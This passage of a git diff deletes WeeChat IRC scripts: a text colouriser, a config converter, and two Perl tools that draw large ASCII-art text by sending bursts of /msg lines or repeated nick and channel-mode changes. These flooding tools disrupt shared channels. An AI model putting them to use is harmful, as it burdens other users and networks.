-XX``X``XX
-XX```X```',
-'```X`X```
-X`X`X`X`X
-``X```X``',
-'``````XXX',
-'`XXXXXXX`
-X```````X',
-'X```````X
-`XXXXXXX`',
-'``````X`X
-```````X`
-``````X`X',
-'````X````
-```XXX```
-````X````',
-'X````````
-`XX``````',
-'````X```^
-````X````',
-'X````````',
-'XXX``````
-```XXX```
-``````XXX',
-'`XXXXXXX`
-X```````X
-`XXXXXXX`',
-'X``````X`
-XXXXXXXXX
-X````````',
-'XXX````X`
-X``XX```X
-X````XXX`',
-'`X`````X`
-X```X```X
-`XXX`XXX`',
-'````XXX``
-````X``X`
-XXXXXXXXX',
-'X```XXXXX
-X```X```X
-`XXX````X',
-'`XXXXXXX`
-X```X```X
-`XXX`````',
-'XXX`````X
-```XXX``X
-``````XXX',
-'`XXX`XXX`
-X```X```X
-`XXX`XXX`',
-'`````XXX`
-X```X```X
-`XXXXXXX`',
-'``XX`XX``',
-'`X```````
-``XX`XX``',
-'````X````
-```X`X```
-``X```X``',
-'```X`X```
-```X`X``^
-```X`X```',
-'``X```X``
-```X`X```
-````X````',
-'```````X`
-XX``X```X
-`````XXX`',
-'`XXXXXXX`
-X``XXX``X
-X`X```X`X
-X`XXXXXXX',
-'XXXXXXXX`
-````X```X
-XXXXXXXX`',
-'XXXXXXXXX
-X```X```X
-`XXX`XXX`',
-'`XXXXXXX`
-X```````X
-`X`````X`',
-'XXXXXXXXX
-X```````X
-`XXXXXXX`',
-'XXXXXXXXX
-X```X```X
-X```````X',
-'XXXXXXXXX
-````X```X
-````````X',
-'`XXXXXXX`
-X```````X
-`XXX```X`',
-'XXXXXXXXX
-````X````
-XXXXXXXXX',
-'X```````X
-XXXXXXXXX
-X```````X',
-'`X``````X
-X```````X
-`XXXXXXXX',
-'XXXXXXXXX
-````X````
-```X`X```
-XXX```XXX',
-'XXXXXXXXX
-X````````',
-'XXXXXXXXX
-``````XX`
-``XXXX```
-``````XX`
-XXXXXXXXX',
-'XXXXXXXXX
-``````XX`
-```XXX```
-`XX``````
-XXXXXXXXX',
-'XXXXXXXXX
-X```````X
-XXXXXXXXX',
-'XXXXXXXXX
-````X```X
-`````XXX`',
-'`XXXXXXXX
-XX``````X
-XXXXXXXXX
-X````````',
-'XXXXXXXXX
-````X```X
-XXXX`XXX`',
-'`X```XXX`
-X```X```X
-`XXX```X`',
-'````````X
-XXXXXXXXX
-````````X',
-'XXXXXXXXX
-X````````
-XXXXXXXXX',
-'```XXXXXX
-XXX``````
-```XXXXXX',
-'`XXXXXXXX
-X````````
-`XXXX````
-X````````
-`XXXXXXXX',
-'XXX```XXX
-```XXX```
-XXX```XXX',
-'`````XXXX
-XXXXX````
-`````XXXX',
-'XXX`````X
-X``XXX``X
-X`````XXX',
-'XXXXXXXXX
-X```````X',
-'``````XXX
-```XXX```
-XXX``````',
-'X```````X
-XXXXXXXXX',
-'```````X`
-````````X
-```````X`',
-'X````````
-X```````^
-X````````',
-'````````X
-```````X`',
-'`X``X````
-X`X`X````
-XXXX`````',
-'XXXXXXXXX
-X```X````
-`XXX`````',
-'`XXX`````
-X```X````
-X```X````',
-'`XXX`````
-X```X````
-XXXXXXXXX',
-'`XXX`````
-X`X`X````
-X`XX`````',
-'XXXXXXXX`
-````X```X',
-'X``X`````
-X`X`X````
-`XXXX````',
-'XXXXXXXXX
-````X````
-XXXX`````',
-'XXXXX``X`',
-'X````````
-`XXXX``X`',
-'XXXXXXXXX
-````X````
-XXXX`X```',
-'X```````X
-XXXXXXXXX
-X````````',
-'XXXXX````
-````X````
-XXXX`````
-````X````
-XXXX`````',
-'XXXXX````
-````X````
-XXXX`````',
-'XXXXX````
-X```X````
-XXXXX````',
-'XXXXX````
-`X``X````
-``XX`````',
-'``XX`````
-`X``X````
-XXXXX````',
-'XXXXX````
-````X````',
-'X``X`````
-X`X`X````
-`X``X````',
-'`XXXXXXX`
-X```X````',
-'`XXXX````
-X````````
-XXXXX````',
-'``XXX````
-XX```````
-``XXX````',
-'`XXXX````
-X````````
-`XXX`````
-X````````
-`XXXX````',
-'XX`XX````
-``X``````
-XX`XX````',
-'X``XX````
-X`X``````
-`XXXX````',
-'XX``X````
-X`X`X````
-X``XX````',
-'````X````
-XXXX`XXXX
-X```````X',
-'XXXXXXXXX',
-'X```````X
-XXXX`XXXX
-````X````',
-' ```````X`
-````````X
-```````X`
-````````X');
-
-	for ($flag) {
-		/-nick/  and $prefix = '/nick', last;
-		/-key/   and $prefix = '/mode +k', last;
-		/-limit/ and $prefix = '/mode +l', last;
-	}
-
-	if ($flag eq '-limit') { $chars[$_] =~ y/`X/18/ for (0 .. (@chars - 1)) }
-
-	for my $char (split //, $text) {
-		push @output, $flag eq '-limit' ? '111111111' : '`````````';
-		push @output, split /\n/, $chars[ord($char) - 0x20];
-	}
-
-	weechat::command($buffer, "$prefix $_") for @output;
-
-	for ($flag) {
-		/-nick/  and weechat::command($buffer, "/nick $nick"), last;
-		/-key/   and weechat::command($buffer, "/mode +k `````````"),
-		             weechat::command($buffer, "/mode -k `````````"),
-		             last;
-		/-limit/ and weechat::command($buffer, "/mode -l"), last;
-	}
-
-	return weechat::WEECHAT_RC_OK;
-}
diff --git a/irc/weechat/colo.py b/irc/weechat/colo.py
@@ -1,170 +0,0 @@
-# -*- coding: utf-8 -*-
-#
-# Released into the Public Domain
-
-"""colo: make your chats noticable"""
-
-import random
-import re
-import weechat
-
-SCRIPT_NAME    = "colo"
-SCRIPT_AUTHOR  = "The Krusty Krab <wowaname@volatile.ch>"
-SCRIPT_VERSION = "2.2"
-SCRIPT_LICENSE = "Public domain"
-SCRIPT_DESC    = "Makes your chats noticable"
-
-# script options
-settings = {
-	"fmt": (
-		"%c13♥ %0%s%o %c13♥",
-		"Format string for text. %0 - %9 are different colours, %s is text, "
-		"%c %b %u %r %o are ^C ^B ^U ^R ^O respectively, and %% is a literal "
-		"percent sign. %0 is the primary colour that should be used with %s.",
-		),
-	"fgs": (
-		"04,05,06,13",
-		"Colour codes to cycle for the foreground. "
-		"Leave blank for no foreground colours.",
-		),
-	"bgs": (
-		"",
-		"Colour codes to cycle for the background. "
-		"Leave blank for no background colours.",
-		),
-	"ignore_buffers": (
-		"bitlbee.*,scripts",
-		"List of buffers to ignore. Glob matches unless "
-		"you prefix the name with 're:'.",
-		),
-	"whitelist_buffers": (
-		"",
-		"List of buffers to whitelist. Glob match unless "
-		"you prefix the name with 're:'. Useful with "
-		"ignore_buffers = \"*\"",
-		),
-	"whitelist_cmds": (
-		"me,amsg,say",
-		"Commands to colour.",
-		),
-	"profiles": (
-		"> greentext,! alert",
-		"List of prefix/profile pairs. If you type one of "
-		"these prefixes at the beginning of your message, "
-		"the options will switch to (profile)_pre, "
-		"(profile)_suf, (profile)_fgs, and (profile)_bgs. ",
-		),
-	"greentext_fmt": "%c3> %s",
-	"alert_fmt": "%c1,8/!\\%c8,1 %s %o%c1,8/!\\"
-}
-
-
-if weechat.register(SCRIPT_NAME, SCRIPT_AUTHOR, SCRIPT_VERSION, SCRIPT_LICENSE,
- SCRIPT_DESC, "", ""):
-	for opt, val in settings.iteritems():
-		setting, desc = val if type(val) == tuple else (val, "")
-		if desc: weechat.config_set_desc_plugin(opt, desc)
-		if weechat.config_is_set_plugin(opt): continue
-		weechat.config_set_plugin(opt, setting)
-
-	weechat.hook_modifier("input_text_for_buffer", "cb_colo", "")
-
-# prevent looping
-nest = False
-
-def glob_match (haystack, needle):
-	return re.search("^%s$" %
-	 re.escape(haystack).replace(r"\?", ".").replace(r"\*", ".*?"),
-	 needle)
-
-def is_command (string):
-	return (string.startswith("/") and not string.startswith("/ ") and
-	 string != "/" and string.split(" ", 1)[0].split("\n", 1)[0].find("/", 1)
-	 < 0)
-
-def cb_colo (data, mod, buf, input):
-	global nest
-	if nest:
-		nest = False
-	#	return input
-	buffer_name = weechat.buffer_get_string(buf, "name").lower()
-	output = ""
-	profile = ""
-
-	for pattern in weechat.config_get_plugin("whitelist_buffers").lower().split(","):
-		if (pattern.startswith("re:") and
-		 re.search(pattern[3:], buffer_name)) or glob_match(pattern, buffer_name):
-			break
-	else:
-		for pattern in weechat.config_get_plugin("ignore_buffers").lower().split(","):
-			if (pattern.startswith("re:") and
-			 re.search(pattern[3:], buffer_name)) or glob_match(pattern, buffer_name):
-				return input
-
-	if not input:
-		return input
-
-	if is_command(input):
-		for cmd in weechat.config_get_plugin("whitelist_cmds").lower().split(","):
-			if not input.startswith("/%s " % cmd): continue
-			output = "/%s " % cmd
-			input = input.split(" ", 1)[1] if " " in input else ""
-			break
-		else:
-			# XXX
-			return input.replace('\r','')
-
-	if input.startswith("//"): input = input[1:]
-
-	for profile_pairs in weechat.config_get_plugin("profiles").split(","):
-		prefix, name = profile_pairs.split()
-		if not input.startswith("%s " % prefix): continue
-		profile = "%s_" % name
-		input = input.split(" ",1)[1] if " " in input else ""
-		for opt in ("fmt", "fgs", "bgs"):
-			if weechat.config_is_set_plugin(profile + opt): continue
-			weechat.config_set_plugin(profile + opt, "")
-		break
-
-	fgs = weechat.config_get_plugin("%sfgs" % profile).split(",")
-	bgs = weechat.config_get_plugin("%sbgs" % profile).split(",")
-	fmt = weechat.config_get_plugin("%sfmt" % profile).split("%%")
-	
-	for i in xrange(len(fmt)):
-		fmt[i] = fmt[i].replace("%c", "\x03").replace("%b",
-		 "\x02").replace("%u", "\x1f").replace("%r",
-		 "\x16").replace("%o", "\x0f")
-		if fgs == [""] and bgs == [""]: continue
-		for j in xrange(10):
-			base = "\x03%s%s%s" % (
-				random.choice(fgs),
-				"," if bgs != [""] else "",
-				random.choice(bgs),
-				)
-			fmt[i] = fmt[i].replace("%%%d" % j, base)
-			if j: continue
-			input = re.sub(
-				"\x03([^0-9])",
-				"\x03%s\\1" % base,
-				input.replace("\x0f","\x0f%s" % base))
-
-	fmt = "%".join(fmt)
-	nest = is_command(fmt)
-	servername = weechat.buffer_get_string(buf, "localvar_server")
-	iptr = weechat.infolist_get("irc_server", "", servername)
-	weechat.infolist_next(iptr)
-	long_lines = weechat.infolist_integer(iptr, "cap_long_lines")
-	weechat.infolist_free(iptr)
-
-	nicklen = weechat.info_get("irc_server_isupport_value", "%s,NICKLEN" %
-	 servername)
-	if not nicklen: nicklen = 9
-
-	l = ((512 if long_lines else 0) + 409 - len(fmt) - int(nicklen))
-	o = []
-	for line in input.replace("\r", "\n").split("\n"):
-		if not line: continue
-		for i in xrange(0, len(line), l):
-			o.append(fmt.replace("%s", line[i:i+l].rstrip()))
-
-	return output + "\n".join(o)
diff --git a/irc/weechat/coloconv.pl b/irc/weechat/coloconv.pl
@@ -1,45 +0,0 @@
-#!/usr/bin/perl
-
-=pod
-
-Reads plugins.conf from stdin, writes new plugins.conf to stdout, and
-writes commands to restore the rest of the config options to stderr
-
-Suggested operation:
-cd .weechat
-./coloconv.pl < plugins.conf > plugins.conf.new 2> commands
-diff plugins.conf plugins.conf.new # to make sure nothing got clobbered
-
-Then in WeeChat:
-/exec -o .weechat/commands
-
-=cut
-
-my %profs;
-my $desc = 0;
-
-while (<>) {
-	$desc and print, next;
-	$_ !~ /^python\.embellish\./ and print, next;
-	s/^python\.embellish/python.colo/;
-	$_ !~ /^python\.colo\..*(?:pre|suf)/ and print, next;
-	$_ eq '[desc]' and ($desc = 1), print, next;
-
-	my ($prof, $k, $v) = /^python\.colo\.(.*)(pre|suf) = "(.*)"$/;
-	$v =~ s/\x02/%b/g;
-	$v =~ s/\x03/%c/g;
-	$v =~ s/\x0f/%o/g;
-	$v =~ s/\x16/%r/g;
-	$v =~ s/\x1f/%u/g;
-
-	if ($k eq 'pre') {
-		$profs{$prof} = "%0$v%o%0 %s%o%0 ";
-	} elsif ($k eq 'suf') {
-		$profs{$prof} .= $v;
-	}
-}
-
-for my $prof (keys %profs) {
-	print STDERR "/reload\n";
-	print STDERR "/set plugins.var.python.colo.${prof}fmt $profs{$prof}\n";
-}
diff --git a/irc/weechat/hueg.pl b/irc/weechat/hueg.pl
@@ -1,1255 +0,0 @@
-#!/usr/bin/perl
-
-
-######
-# hueg.pl PRO MODE
-# modded by ma0 and others
-# respekts 2 jakk and others
-######
-
-$maxchars = 10; #num of chars b4 split
-my $reverse = 0;
-my $flip = 0;
-my $mirror = 0;
-my $scale = 1;
-
-my $SCRIPT_NAME = 'hueg';
-my $SCRIPT_AUTHOR = 'LIFELIKE <i@wnt2die.com>';
-my $SCRIPT_VERSION = '1.1';
-my $SCRIPT_LICENCE = 'GPL3';
-my $SCRIPT_DESC = 'make text hueg LOL';
-
-if (weechat::register($SCRIPT_NAME, $SCRIPT_AUTHOR, $SCRIPT_VERSION,
- $SCRIPT_LICENCE, $SCRIPT_DESC, '', '')) {
-	weechat::hook_command('hueg', '', '<string> [options]',
-		"      -rep <num>     num of times to scroll msg\n".
-		"      -re            reverses text\n".
-		"      -flip          flips text\n".
-		"      -mir           mirrors your text [NOT WORKIN LOL]\n".
-		"      -scale <num>   scales shit\n".
-		"      num,num,num    fg, shadow, bg colors (bg optional)",
-		'-rep|-re|-flip|-mir|-scale|%*', 'hueg', '');
-}
-
-sub hueg {
-	(undef, $buffer, $data) = @_;
-	$in = $data;
-
-	if ($in =~ /-rep (\d+)/i) {
-		$rep = $1;
-		$in =~ s/-rep \d+//i;
-	} else {
-		$rep = 1;
-	}
-
-	if($in =~ /-scale (\d+)/i) {
-		$scale = $1;
-		$in =~ s/-scale \d+//i;
-	} else {
-		$scale = 1;
-	}
-
-	if($in =~ /-re/i) {
-		$reverse = 1;
-		$in =~ s/-re//i;
-	} else {
-		$reverse = 0;
-	}
-
-	if($in =~ /-flip/i){
-		$flip = 1;
-		$in =~ s/-flip//i;
-	} else {
-		$flip = 0;
-	}
-
-	if($in =~ /-mir/i) {
-		$mirror = 1;
-		$in =~ s/-mir//i;
-	} else {
-		$mirror = 0;
-	}
-
-	$in =~ s/\s+$//;
-
-	if ($in eq '') {
-		weechat::print($buffer, weechat::prefix('error').
-			"Invalid syntax; see /help hueg");
-		return weechat::WEECHAT_RC_ERROR;
-	} else {
-		until ($rep == 0) {
-			colors();
-			parse();
-			process();
-			select(undef,undef,undef,.1);
-			$rep--;
-		}
-		return weechat::WEECHAT_RC_OK;
-	}
-}
-
-sub colors {
-	if ($data =~ /(\d+),(\d+),(\d+)/) {
-		$c2 = "\cC$1,$1";   #fg
-		$c1 = "\cC$2,$2";   #sh
-		$c3 = "\cC$3,$3";   #bg
-		$in =~ s/\d+,\d+,\d+//;
-	} elsif ($data =~ /(\d+),(\d+)/) {
-		$c2 = "\cC$1,$1";   #fg
-		$c1 = "\cC$2,$2";   #sh
-		$c3 = "\cO";        #bg (trans)
-		$in =~ s/\d+,\d+//;
-	} else {
-		$r1 = $r2 = 0;
-		until ($r1 > 1) { $r1 = int rand(15); }
-		until ($r2 > 1 && $r2 != $r1) { $r2 = int rand(15); }
-		$c2 = "\cC$r1,$r1"; #fg (rand)
-		$c1 = "\cC$r2,$r2"; #sh (rand)
-		$c3 = "\cO";        #bg (trans)
-	}
-	db1();
-}
-
-sub parse {
-	$in =~ s/(\S{$maxchars})/$1 /g;
-	undef @s0;
-	@s0 = split(' ',$in);
-	undef @s1;
-	$s1n = 0;
-	for $n (@s0) {
-		$nlen = length($n);
-		$slen = length($s1[$s1n] // '') + $nlen;
-		if ($slen <= $maxchars) {
-			$s1[$s1n] .= "$n ";
-		} else {
-			$s1n++;
-			$s1[$s1n] .= "$n ";
-		}
-	}
-}
-
-sub process {
-	for $n (@s1) { #each line
-		if ($reverse) {
-			$n = reverse $n;
-		}
-
-		$n =~ s/\s$//;
-		$n =~ s/^\s//;
-		undef @s2;
-		@s2 = split('',$n);
-		my $cur; # current string
-		my $tmp;
-
-		for $f (0..8*$scale) {
-			for $l (@s2) { #each letter
-				$all .= "$c3 \cO";
-
-				if($flip) { $cur = $db{$l}[(9-$f)/$scale] // $db{'?'}[(9-$f)/$scale]; } #line of letter
-				else { $cur = $db{$l}[$f/$scale] // $db{'?'}[$f/$scale]; }
-
-				$whitespace = " " x $scale;
-				$cur =~ s/ /$whitespace/g;
-				$whitespace = "#" x $scale;
-				$cur =~ s/#/$whitespace/g;
-				$whitespace = "." x $scale;
-				$cur =~ s/\./$whitespace/g;
-				$all .= $cur;
-			}
-
-			$all .= "$c3 ";
-			if($mirror) { $all = reverse $all; }
-			weechat::command($buffer, "/msg * $all");
-			$all = '';
-		}
-
-	}
-}
-
-#------------------#
-#   character db   #
-#       lol        #
-#------------------#
-
-sub db1 {
-%db = (
-" " => [
-"$c3      ",
-"$c3      ",
-"$c3      ",
-"$c3      ",
-"$c3      ",
-"$c3      ",
-"$c3      ",
-"$c3      ",
-"$c3      ",
-],
-"\cC" => [
-"$c3             ",
-"$c1.$c2##$c3  $c1.$c2#######$c3",
-"$c1.$c2##$c3  $c1.$c2##$c3     ",
-"$c1.$c2##$c3  $c1.$c2##$c3     ",
-"$c1.$c2############$c3",
-"$c3     $c1.$c2##$c3  $c1.$c2##$c3",
-"$c3     $c1.$c2##$c3  $c1.$c2##$c3",
-"$c1.$c2#######$c3  $c1.$c2##$c3",
-"$c3             ",
-],
-"\cB" => [
-"$c3             ",
-"$c1.$c2##$c3  $c1.$c2#######$c3",
-"$c1.$c2##$c3  $c1.$c2##$c3     ",
-"$c1.$c2##$c3  $c1.$c2##$c3     ",
-"$c1.$c2############$c3",
-"$c3     $c1.$c2##$c3  $c1.$c2##$c3",
-"$c3     $c1.$c2##$c3  $c1.$c2##$c3",
-"$c1.$c2#######$c3  $c1.$c2##$c3",
-"$c3             ",
-],
-"\cO" => [
-"$c3             ",
-"$c1.$c2##$c3  $c1.$c2#######$c3",
-"$c1.$c2##$c3  $c1.$c2##$c3     ",
-"$c1.$c2##$c3  $c1.$c2##$c3     ",
-"$c1.$c2############$c3",
-"$c3     $c1.$c2##$c3  $c1.$c2##$c3",
-"$c3     $c1.$c2##$c3  $c1.$c2##$c3",
-"$c1.$c2#######$c3  $c1.$c2##$c3",
-"$c3             ",
-],
-"0" => [
-"$c3         ",
-"$c3 $c1.$c2######$c3 ",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c3 $c1.$c2######$c3 ",
-"$c3         ",
-],
-"1" => [
-"$c3       ",
-"$c3  $c1.$c2##$c3  ",
-"$c3 $c1.$c2###$c3  ",
-"$c1.$c2####$c3  ",
-"$c3  $c1.$c2##$c3  ",
-"$c3  $c1.$c2##$c3  ",
-"$c3  $c1.$c2##$c3  ",
-"$c1.$c2######$c3",
-"$c3       ",
-],
-"2" => [
-"$c3        ",
-"$c3 $c1.$c2#####$c3 ",
-"$c1.$c2##$c3  $c1.$c2##$c3",
-"$c3    $c1.$c2##$c3 ",
-"$c3   $c1.$c2##$c3  ",
-"$c3  $c1.$c2##$c3   ",
-"$c3 $c1.$c2##$c3    ",
-"$c1.$c2#######$c3",
-"$c3        ",
-],
-"3" => [
-"$c3        ",
-"$c3 $c1.$c2#####$c3 ",
-"$c1.$c2##$c3  $c1.$c2##$c3",
-"$c3     $c1.$c2##$c3",
-"$c3   $c1.$c2###$c3 ",
-"$c3     $c1.$c2##$c3",
-"$c1.$c2##$c3  $c1.$c2##$c3",
-"$c3 $c1.$c2#####$c3 ",
-"$c3        ",
-],
-"4" => [
-"$c3        ",
-"$c3    $c1.$c2##$c3 ",
-"$c3   $c1.$c2###$c3 ",
-"$c3  $c1.$c2#$c1.$c2##$c3 ",
-"$c3 $c1.$c2#$c3 $c1.$c2##$c3 ",
-"$c1.$c2#######$c3",
-"$c3    $c1.$c2##$c3 ",
-"$c3    $c1.$c2##$c3 ",
-"$c3        ",
-],
-"5" => [
-"$c3        ",
-"$c1.$c2######$c3 ",
-"$c1.$c2##$c3     ",
-"$c1.$c2##$c3     ",
-"$c1.$c2######$c3 ",
-"$c3     $c1.$c2##$c3",
-"$c1.$c2##$c3  $c1.$c2##$c3",
-"$c3 $c1.$c2#####$c3 ",
-"$c3        ",
-],
-"6" => [
-"$c3        ",
-"$c3   $c1.$c2##$c3  ",
-"$c3  $c1.$c2##$c3   ",
-"$c3 $c1.$c2##$c3    ",
-"$c1.$c2######$c3 ",
-"$c1.$c2##$c3  $c1.$c2##$c3",
-"$c1.$c2##$c3  $c1.$c2##$c3",
-"$c3 $c1.$c2#####$c3 ",
-"$c3        ",
-],
-"7" => [
-"$c3         ",
-"$c1.$c2########$c3",
-"$c3      $c1.$c2##$c3",
-"$c3     $c1.$c2##$c3 ",
-"$c3    $c1.$c2##$c3  ",
-"$c3   $c1.$c2##$c3   ",
-"$c3  $c1.$c2##$c3    ",
-"$c3 $c1.$c2##$c3     ",
-"$c3         ",
-],
-"8" => [
-"$c3         ",
-"$c3 $c1.$c2######$c3 ",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c3 $c1.$c2######$c3 ",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c3 $c1.$c2######$c3 ",
-"$c3         ",
-],
-"9" => [
-"$c3        ",
-"$c3 $c1.$c2#####$c3 ",
-"$c1.$c2##$c3  $c1.$c2##$c3",
-"$c1.$c2##$c3  $c1.$c2##$c3",
-"$c3 $c1.$c2######$c3",
-"$c3    $c1.$c2##$c3 ",
-"$c3   $c1.$c2##$c3  ",
-"$c3  $c1.$c2##$c3   ",
-"$c3        ",
-],
-A => [
-"$c3        ",
-"$c3  $c1.$c2###$c3  ",
-"$c3 $c1.$c2##$c1.$c2##$c3 ",
-"$c1.$c2##$c3  $c1.$c2##$c3",
-"$c1.$c2#######$c3",
-"$c1.$c2##$c3  $c1.$c2##$c3",
-"$c1.$c2##$c3  $c1.$c2##$c3",
-"$c1.$c2##$c3  $c1.$c2##$c3",
-"$c3        ",
-],
-a => [
-"$c3         ",
-"$c3         ",
-"$c3         ",
-"$c3 $c1.$c2#####$c3  ",
-"$c3     $c1.$c2##$c3 ",
-"$c3 $c1.$c2######$c3 ",
-"$c1.$c2##$c3  $c1.$c2##$c3 ",
-"$c3 $c1.$c2#######$c3",
-"$c3         ",
-],
-B => [
-"$c3         ",
-"$c1.$c2#######$c3 ",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c1.$c2#######$c3 ",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c1.$c2#######$c3 ",
-"$c3         ",
-],
-b => [
-"$c3         ",
-"$c1.$c2##$c3      ",
-"$c1.$c2##$c3      ",
-"$c1.$c2######$c3  ",
-"$c1.$c2##$c3  $c1.$c2##$c3 ",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c1.$c2##$c3  $c1.$c2##$c3 ",
-"$c1.$c2######$c3  ",
-"$c3         ",
-],
-C => [
-"$c3         ",
-"$c3 $c1.$c2######$c3 ",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c1.$c2##$c3      ",
-"$c1.$c2##$c3      ",
-"$c1.$c2##$c3      ",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c3 $c1.$c2######$c3 ",
-"$c3         ",
-],
-c => [
-"$c3        ",
-"$c3        ",
-"$c3        ",
-"$c3  $c1.$c2#####$c3",
-"$c3 $c1.$c2##$c3    ",
-"$c1.$c2##$c3     ",
-"$c3 $c1.$c2##$c3    ",
-"$c3  $c1.$c2#####$c3",
-"$c3        ",
-],
-D => [
-"$c3          ",
-"$c1.$c2#######$c3  ",
-"$c1.$c2##$c3   $c1.$c2##$c3 ",
-"$c1.$c2##$c3    $c1.$c2##$c3",
-"$c1.$c2##$c3    $c1.$c2##$c3",
-"$c1.$c2##$c3    $c1.$c2##$c3",
-"$c1.$c2##$c3   $c1.$c2##$c3 ",
-"$c1.$c2#######$c3  ",
-"$c3          ",
-],
-d => [
-"$c3         ",
-"$c3      $c1.$c2##$c3",
-"$c3      $c1.$c2##$c3",
-"$c3  $c1.$c2######$c3",
-"$c3 $c1.$c2##$c3  $c1.$c2##$c3",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c3 $c1.$c2##$c3  $c1.$c2##$c3",
-"$c3  $c1.$c2######$c3",
-"$c3         ",
-],
-E => [
-"$c3        ",
-"$c1.$c2#######$c3",
-"$c1.$c2##$c3     ",
-"$c1.$c2##$c3     ",
-"$c1.$c2######$c3 ",
-"$c1.$c2##$c3     ",
-"$c1.$c2##$c3     ",
-"$c1.$c2#######$c3",
-"$c3        ",
-],
-e => [
-"$c3         ",
-"$c3         ",
-"$c3         ",
-"$c3 $c1.$c2######$c3 ",
-"$c1.$c2##$c3   $c1.$c2##",
-"$c1.$c2#######$c3 ",
-"$c1.$c2##$c3      ",
-"$c3 $c1.$c2######$c3 ",
-"$c3         ",
-],
-F => [
-"$c3        ",
-"$c1.$c2#######",
-"$c1.$c2##$c3     ",
-"$c1.$c2##$c3     ",
-"$c1.$c2######$c3 ",
-"$c1.$c2##$c3     ",
-"$c1.$c2##$c3     ",
-"$c1.$c2##$c3     ",
-"$c3        ",
-],
-f => [
-"$c3      ",
-"$c3      ",
-"$c3  $c1.$c2###",
-"$c3 $c1.$c2##$c3  ",
-"$c1.$c2#####",
-"$c3 $c1.$c2##$c3  ",
-"$c3 $c1.$c2##$c3  ",
-"$c3 $c1.$c2##$c3  ",
-"$c3      ",
-],
-G => [
-"$c3          ",
-"$c3  $c1.$c2######$c3 ",
-"$c3 $c1.$c2##$c3   $c1.$c2##$c3",
-"$c1.$c2##$c3       ",
-"$c1.$c2##$c3  $c1.$c2####$c3",
-"$c1.$c2##$c3    $c1.$c2##$c3",
-"$c3 $c1.$c2##$c3   $c1.$c2##$c3",
-"$c3  $c1.$c2######$c3 ",
-"$c3          ",
-],
-g => [
-"$c3         ",
-"$c3         ",
-"$c3         ",
-"$c3 $c1.$c2######$c3 ",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c3 $c1.$c2#######$c3",
-"$c3      $c1.$c2##$c3",
-"$c3 $c1.$c2######$c3 ",
-],
-H => [
-"$c3         ",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c1.$c2########$c3",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c3         ",
-],
-h => [
-"$c3         ",
-"$c1.$c2##$c3      ",
-"$c1.$c2##$c3      ",
-"$c1.$c2#######$c3 ",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c1.$c2##$c3   $c1.$c2##$c3",
-"$c3         ",
-],
-I => [
-"$c3       ",
-"$c1.$c2######$c3",
-"$c3  $c1.$c2##$c3  ",
-"$c3  $c1.$c2##$c3  ",
-"$c3  $c1.$c2##$c3  ",
-"$c3  $c1.$c2##$c3  ",
-"$c3  $c1.$c2##$c3  ",
-"$c1.$c2######$c3",
-"$c3       ",
-],
-i => [
-"$c3     ",
-"$c3 $c1.$c2##$c3 ",
-"$c3     ",
-"$c1.$c2###$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c1.$c2####",
-"$c3     ",
-],
-J => [
-"$c3        ",
-"$c3 $c1.$c2######",
-"$c3    $c1.$c2##$c3 ",
-"$c3    $c1.$c2##$c3 ",
-"$c3    $c1.$c2##$c3 ",
-"$c3    $c1.$c2##$c3 ",
-"$c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2####$c3  ",
-"$c3        ",
-],
-j => [
-"$c3       ",
-"$c3    $c1.$c2##",
-"$c3       ",
-"$c3   $c1.$c2###",
-"$c3    $c1.$c2##",
-"$c3    $c1.$c2##",
-"$c3    $c1.$c2##",
-"$c1.$c2##$c3 $c1.$c2##",
-"$c3 $c1.$c2####$c3 ",
-],
-K => [
-"$c3        ",
-"$c1.$c2##$c3  $c1.$c2##$c3",
-"$c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c1.$c2##$c1.$c2##$c3  ",
-"$c1.$c2####$c3   ",
-"$c1.$c2##$c1.$c2##$c3  ",
-"$c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c1.$c2##$c3  $c1.$c2##$c3",
-"$c3        ",
-],
-k => [
-"$c3        ",
-"$c1.$c2##$c3     ",
-"$c1.$c2##$c3     ",
-"$c1.$c2##$c3  $c1.$c2##",
-"$c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c1.$c2#####$c3  ",
-"$c1.$c2##$c3 $c1.$c2##$c3 ",
-"$c1.$c2##$c3  $c1.$c2##",
-"$c3        ",
-],
-L => [
-"$c3        ",
-"$c1.$c2##$c3     ",
-"$c1.$c2##$c3     ",
-"$c1.$c2##$c3     ",
-"$c1.$c2##$c3     ",
-"$c1.$c2##$c3     ",
-"$c1.$c2##$c3     ",
-"$c1.$c2#######$c3",
-"$c3        ",
-],
-l => [
-"$c3     ",
-"$c1.$c2###$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c3 $c1.$c2##$c3 ",
-"$c1.$c2####",
